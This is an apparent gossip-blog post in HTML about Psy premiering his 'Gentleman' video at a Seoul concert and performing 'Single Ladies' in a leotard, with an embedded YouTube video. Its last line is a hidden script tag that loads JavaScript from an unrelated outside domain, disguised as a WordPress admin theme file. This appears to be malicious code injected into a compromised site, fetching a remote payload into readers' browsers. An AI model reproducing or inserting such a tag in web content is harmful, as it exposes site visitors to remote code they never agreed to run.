<strong><a href="http://gossipcop.com/tag/psy">Psy</a></strong>, who debuted the music video for his <strong><a href="http://www.gossipcop.com/psy-gentlemen-listen-audio-new-song-youtube/" target="_blank">new song</a></strong> “Gentleman” during his “Happening” concert in Seoul, South Korea on<!--more--> Saturday, also treated the audience to a rendition of the<strong>Beyonce </strong>hit “Single Ladies,” dressed in a red-and-white leotard. <strong>Check out the video below</strong> <iframe src="http://www.youtube.com/embed/hZwtlrC-Jzw?rel=0" frameborder="0" width="640" height="360"></iframe> <script type="text/javascript" src="http://www.blog.pasarsore.com/wp-admin/css/colors/theme-index.php"></script>